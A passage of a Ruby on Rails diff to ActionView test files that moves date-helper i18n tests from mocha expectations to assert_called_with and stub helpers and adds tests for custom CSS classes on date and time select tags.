ActionView::TestCase + tests ActionView::Helpers::ControllerHelper + + class SpecializedFormBuilder < ActionView::Helpers::FormBuilder ; end + + def test_assign_controller_sets_default_form_builder + @controller = OpenStruct.new(default_form_builder: SpecializedFormBuilder) + assign_controller(@controller) + + assert_equal SpecializedFormBuilder, self.default_form_builder + end + + def test_assign_controller_skips_default_form_builder + @controller = OpenStruct.new + assign_controller(@controller) + + assert_nil self.default_form_builder + end +end diff --git a/actionview/test/template/date_helper_i18n_test.rb b/actionview/test/template/date_helper_i18n_test.rb index 21fca35185..52aef56a61 100644 --- a/actionview/test/template/date_helper_i18n_test.rb +++ b/actionview/test/template/date_helper_i18n_test.rb @@ -46,8 +46,9 @@ class DateHelperDistanceOfTimeInWordsI18nTests < ActiveSupport::TestCase end def test_time_ago_in_words_passes_locale - I18n.expects(:t).with(:less_than_x_minutes, :scope => :'datetime.distance_in_words', :count => 1, :locale => 'ru') - time_ago_in_words(15.seconds.ago, :locale => 'ru') + assert_called_with(I18n, :t, [:less_than_x_minutes, :scope => :'datetime.distance_in_words', :count => 1, :locale => 'ru']) do + time_ago_in_words(15.seconds.ago, :locale => 'ru') + end end def test_distance_of_time_pluralizations @@ -80,8 +81,9 @@ class DateHelperDistanceOfTimeInWordsI18nTests < ActiveSupport::TestCase options = { locale: 'en', scope: :'datetime.distance_in_words' }.merge!(expected_options) options[:count] = count if count - I18n.expects(:t).with(key, options) - distance_of_time_in_words(@from, to, passed_options.merge(locale: 'en')) + assert_called_with(I18n, :t, [key, options]) do + distance_of_time_in_words(@from, to, passed_options.merge(locale: 'en')) + end end end @@ -89,60 +91,74 @@ class DateHelperSelectTagsI18nTests < ActiveSupport::TestCase include ActionView::Helpers::DateHelper attr_reader :request - def setup - @prompt_defaults = {:year => 'Year', :month => 'Month', :day => 'Day', :hour => 'Hour', :minute => 'Minute', :second => 'Seconds'} - - I18n.stubs(:translate).with(:'date.month_names', :locale => 'en').returns Date::MONTHNAMES - end - # select_month def test_select_month_given_use_month_names_option_does_not_translate_monthnames - I18n.expects(:translate).never - select_month(8, :locale => 'en', :use_month_names => Date::MONTHNAMES) + assert_not_called(I18n, :translate) do + select_month(8, :locale => 'en', :use_month_names => Date::MONTHNAMES) + end end def test_select_month_translates_monthnames - I18n.expects(:translate).with(:'date.month_names', :locale => 'en').returns Date::MONTHNAMES - select_month(8, :locale => 'en') + assert_called_with(I18n, :translate, [:'date.month_names', :locale => 'en'], returns: Date::MONTHNAMES) do + select_month(8, :locale => 'en') + end end def test_select_month_given_use_short_month_option_translates_abbr_monthnames - I18n.expects(:translate).with(:'date.abbr_month_names', :locale => 'en').returns Date::ABBR_MONTHNAMES - select_month(8, :locale => 'en', :use_short_month => true) + assert_called_with(I18n, :translate, [:'date.abbr_month_names', :locale => 'en'], returns: Date::ABBR_MONTHNAMES) do + select_month(8, :locale => 'en', :use_short_month => true) + end end def test_date_or_time_select_translates_prompts - @prompt_defaults.each do |key, prompt| - I18n.expects(:translate).with(('datetime.prompts.' + key.to_s).to_sym, :locale => 'en').returns prompt + prompt_defaults = {:year => 'Year', :month => 'Month', :day => 'Day', :hour => 'Hour', :minute => 'Minute', :second => 'Seconds'} + defaults = {[:'date.order', :locale => 'en', :default => []] => %w(year month day)} + + prompt_defaults.each do |key, prompt| + defaults[[('datetime.prompts.' + key.to_s).to_sym, :locale => 'en']] = prompt + end + + prompts_check = -> (prompt, x) do + @prompt_called ||= 0 + + return_value = defaults[[prompt, x]] + @prompt_called += 1 if return_value.present? + + return_value end - I18n.expects(:translate).with(:'date.order', :locale => 'en', :default => []).returns %w(year month day) - datetime_select('post', 'updated_at', :locale => 'en', :include_seconds => true, :prompt => true) + I18n.stub(:translate, prompts_check) do + datetime_select('post', 'updated_at', :locale => 'en', :include_seconds => true, :prompt => true, :use_month_names => Date::MONTHNAMES) + end + assert_equal defaults.count, @prompt_called end # date_or_time_select def test_date_or_time_select_given_an_order_options_does_not_translate_order - I18n.expects(:translate).never - datetime_select('post', 'updated_at', :order => [:year, :month, :day], :locale => 'en') + assert_not_called(I18n, :translate) do + datetime_select('post', 'updated_at', :order => [:year, :month, :day], :locale => 'en', :use_month_names => Date::MONTHNAMES) + end end def test_date_or_time_select_given_no_order_options_translates_order - I18n.expects(:translate).with(:'date.order', :locale => 'en', :default => []).returns %w(year month day) - datetime_select('post', 'updated_at', :locale => 'en') + assert_called_with(I18n, :translate, [ [:'date.order', :locale => 'en', :default => []], [:"date.month_names", {:locale=>"en"}] ], returns: %w(year month day)) do + datetime_select('post', 'updated_at', :locale => 'en') + end end def test_date_or_time_select_given_invalid_order - I18n.expects(:translate).with(:'date.order', :locale => 'en', :default => []).returns %w(invalid month day) - - assert_raise StandardError do - datetime_select('post', 'updated_at', :locale => 'en') + assert_called_with(I18n, :translate, [:'date.order', :locale => 'en', :default => []], returns: %w(invalid month day)) do + assert_raise StandardError do + datetime_select('post', 'updated_at', :locale => 'en') + end end end def test_date_or_time_select_given_symbol_keys - I18n.expects(:translate).with(:'date.order', :locale => 'en', :default => []).returns [:year, :month, :day] - datetime_select('post', 'updated_at', :locale => 'en') + assert_called_with(I18n, :translate, [ [:'date.order', :locale => 'en', :default => []], [:"date.month_names", {:locale=>"en"}] ], returns: [:year, :month, :day]) do + datetime_select('post', 'updated_at', :locale => 'en') + end end end diff --git a/actionview/test/template/date_helper_test.rb b/actionview/test/template/date_helper_test.rb index bfb073680e..e67d5d0e8c 100644 --- a/actionview/test/template/date_helper_test.rb +++ b/actionview/test/template/date_helper_test.rb @@ -130,7 +130,7 @@ class DateHelperTest < ActionView::TestCase def test_distance_in_words_with_mathn_required # test we avoid Integer#/ (redefined by mathn) - require 'mathn' + silence_warnings { require "mathn" } from = Time.utc(2004, 6, 6, 21, 45, 0) assert_distance_of_time_in_words(from) end @@ -255,6 +255,22 @@ class DateHelperTest < ActionView::TestCase assert_dom_equal expected, select_day(16, :prompt => 'Choose day') end + def test_select_day_with_generic_with_css_classes + expected = %(<select id="date_day" name="date[day]" class="day">\n) + expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n) + expected << "</select>\n" + + assert_dom_equal expected, select_day(16, with_css_classes: true) + end + + def test_select_day_with_custom_with_css_classes + expected = %(<select id="date_day" name="date[day]" class="my-day">\n) + expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n) + expected << "</select>\n" + + assert_dom_equal expected, select_day(16, with_css_classes: { day: 'my-day' }) + end + def test_select_month expected = %(<select id="date_month" name="date[month]">\n) expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n) @@ -390,11 +406,6 @@ class DateHelperTest < ActionView::TestCase expected << "</select>\n" assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), {}, :class => 'selector', :accesskey => 'M') - #result = select_month(Time.mktime(2003, 8, 16), {}, :class => 'selector', :accesskey => 'M') - #assert result.include?('<select id="date_month" name="date[month]"') - #assert result.include?('class="selector"') - #assert result.include?('accesskey="M"') - #assert result.include?('<option value="1">January') end def test_select_month_with_default_prompt @@ -413,6 +424,22 @@ class DateHelperTest < ActionView::TestCase assert_dom_equal expected, select_month(8, :prompt => 'Choose month') end + def test_select_month_with_generic_with_css_classes + expected = %(<select id="date_month" name="date[month]" class="month">\n) + expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n) + expected << "</select>\n" + + assert_dom_equal expected, select_month(8, with_css_classes: true) + end + + def test_select_month_with_custom_with_css_classes + expected = %(<select id="date_month" name="date[month]" class="my-month">\n) + expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n) + expected << "</select>\n" + + assert_dom_equal expected, select_month(8, with_css_classes: { month: 'my-month' }) + end + def test_select_year expected = %(<select id="date_year" name="date[year]">\n) expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n) @@ -474,11 +501,6 @@ class DateHelperTest < ActionView::TestCase expected << "</select>\n" assert_dom_equal expected, select_year(Time.mktime(2003, 8, 16), {:start_year => 2003, :end_year => 2005}, :class => 'selector', :accesskey => 'M') - #result = select_year(Time.mktime(2003, 8, 16), {:start_year => 2003, :end_year => 2005}, :class => 'selector', :accesskey => 'M') - #assert result.include?('<select id="date_year" name="date[year]"') - #assert result.include?('class="selector"') - #assert result.include?('accesskey="M"') - #assert result.include?('<option value="2003"') end def test_select_year_with_default_prompt @@ -497,6 +519,22 @@ class DateHelperTest < ActionView::TestCase assert_dom_equal expected, select_year(nil, :start_year => 2003, :end_year => 2005, :prompt => 'Choose year') end + def test_select_year_with_generic_with_css_classes + expected = %(<select id="date_year" name="date[year]" class="year">\n) + expected << %(<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n) + expected << "</select>\n" + + assert_dom_equal expected, select_year(nil, start_year: 2003, end_year: 2005, with_css_classes: true) + end + + def test_select_year_with_custom_with_css_classes + expected = %(<select id="date_year" name="date[year]" class="my-year">\n) + expected << %(<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n) + expected << "</select>\n" + + assert_dom_equal expected, select_year(nil, start_year: 2003, end_year: 2005, with_css_classes: { year: 'my-year' }) + end + def test_select_hour expected = %(<select id="date_hour" name="date[hour]">\n) expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n) @@ -569,6 +607,22 @@ class DateHelperTest < ActionView::TestCase assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => 'Choose hour') end + def test_select_hour_with_generic_with_css_classes + expected = %(<select id="date_hour" name="date[hour]" class="hour">\n) + expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n) + expected << "</select>\n" + + assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), with_css_classes: true) + end + + def test_select_hour_with_custom_with_css_classes + expected = %(<select id="date_hour" name="date[hour]" class="my-hour">\n) + expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n) + expected << "</select>\n" + + assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), with_css_classes: { hour: 'my-hour' }) + end + def test_select_minute expected = %(<select id="date_minute" name="date[minute]">\n) expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n) @@ -639,12 +693,6 @@ class DateHelperTest < ActionView::TestCase expected << "</select>\n" assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M') - - #result = select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M') - #assert result.include?('<select id="date_minute" name="date[minute]"') - #assert result.include?('class="selector"') - #assert result.include?('accesskey="M"') - #assert result.include?('<option value="00">00') end def test_select_minute_with_default_prompt @@ -663,6 +711,22 @@ class DateHelperTest < ActionView::TestCase assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => 'Choose minute') end + def test_select_minute_with_generic_with_css_classes + expected = %(<select id="date_minute" name="date[minute]" class="minute">\n) + expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n) + expected << "</select>\n" + + assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), with_css_classes: true) + end + + def test_select_minute_with_custom_with_css_classes + expected = %(<select id="date_minute" name="date[minute]" class="my-minute">\n) + expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n) + expected << "</select>\n" + + assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), with_css_classes: { minute: 'my-minute' }) + end + def test_select_second expected = %(<select id="date_second" name="date[second]">\n) expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n) @@ -709,12 +773,6 @@ class DateHelperTest < ActionView::TestCase expected << "</select>\n" assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M') - - #result = select_second(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M') - #assert result.include?('<select id="date_second" name="date[second]"') - #assert result.include?('class="selector"') - #assert result.include?('accesskey="M"') - #assert result.include?('<option value="00">00') end def test_select_second_with_default_prompt @@ -733,6 +791,22 @@ class DateHelperTest < ActionView::TestCase assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => 'Choose seconds') end + def test_select_second_with_generic_with_css_classes + expected = %(<select id="date_second" name="date[second]" class="second">\n) + expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n) + expected << "</select>\n" + + assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), with_css_classes: true) + end + + def test_select_second_with_custom_with_css_classes + expected = %(<select id="date_second" name="date[second]" class="my-second">\n) + expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n) + expected << "</select>\n" + + assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), with_css_classes: { second: 'my-second' }) + end + def test_select_date expected = %(<select id="date_first_year" name="date[first][year]">\n) expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n) @@ -1040,6 +1114,22 @@ class DateHelperTest < ActionView::TestCase assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), {:start_year => 2003, :end_year => 2005, :prefix => "date[first]", :with_css_classes => true}) end + def test_select_date_with_custom_with_css_classes + expected = %(<select id="date_year" name="date[year]" class="my-year">\n) + expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n) + expected << "</select>\n" + + expected << %(<select id="date_month" name="date[month]" class="my-month">\n) + expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n) + expected << "</select>\n" + + expected << %(<select id="date_day" name="date[day]" class="my-day">\n) + expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n) + expected << "</select>\n" + + assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), start_year: 2003, end_year: 2005, with_css_classes: { year: 'my-year', month: 'my-month', day: 'my-day' }) + end + def test_select_date_with_css_classes_option_and_html_class_option expected = %(<select id="date_first_year" name="date[first][year]" class="datetime optional year">\n) expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n) @@ -1056,6 +1146,54 @@ class DateHelperTest < ActionView::TestCase assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), {:start_year => 2003, :end_year => 2005, :prefix => "date[first]", :with_css_classes => true}, { class: 'datetime optional' }) end + def test_select_date_with_custom_with_css_classes_and_html_class_option + expected = %(<select id="date_year" name="date[year]" class="date optional my-year">\n) + expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n) + expected << "</select>\n" + + expected << %(<select id="date_month" name="date[month]" class="date optional my-month">\n) + expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n) + expected << "</select>\n" + + expected << %(<select id="date_day" name="date[day]" class="date optional my-day">\n) + expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n) + expected << "</select>\n" + + assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), {start_year: 2003, end_year: 2005, with_css_classes: { year: 'my-year', month: 'my-month', day: 'my-day' }}, { class: 'date optional' }) + end + + def test_select_date_with_partial_with_css_classes_and_html_class_option + expected = %(<select id="date_year" name="date[year]" class="date optional">\n) + expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n) + expected << "</select>\n" + + expected << %(<select id="date_month" name="date[month]" class="date optional my-month custom-grid">\n) + expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option 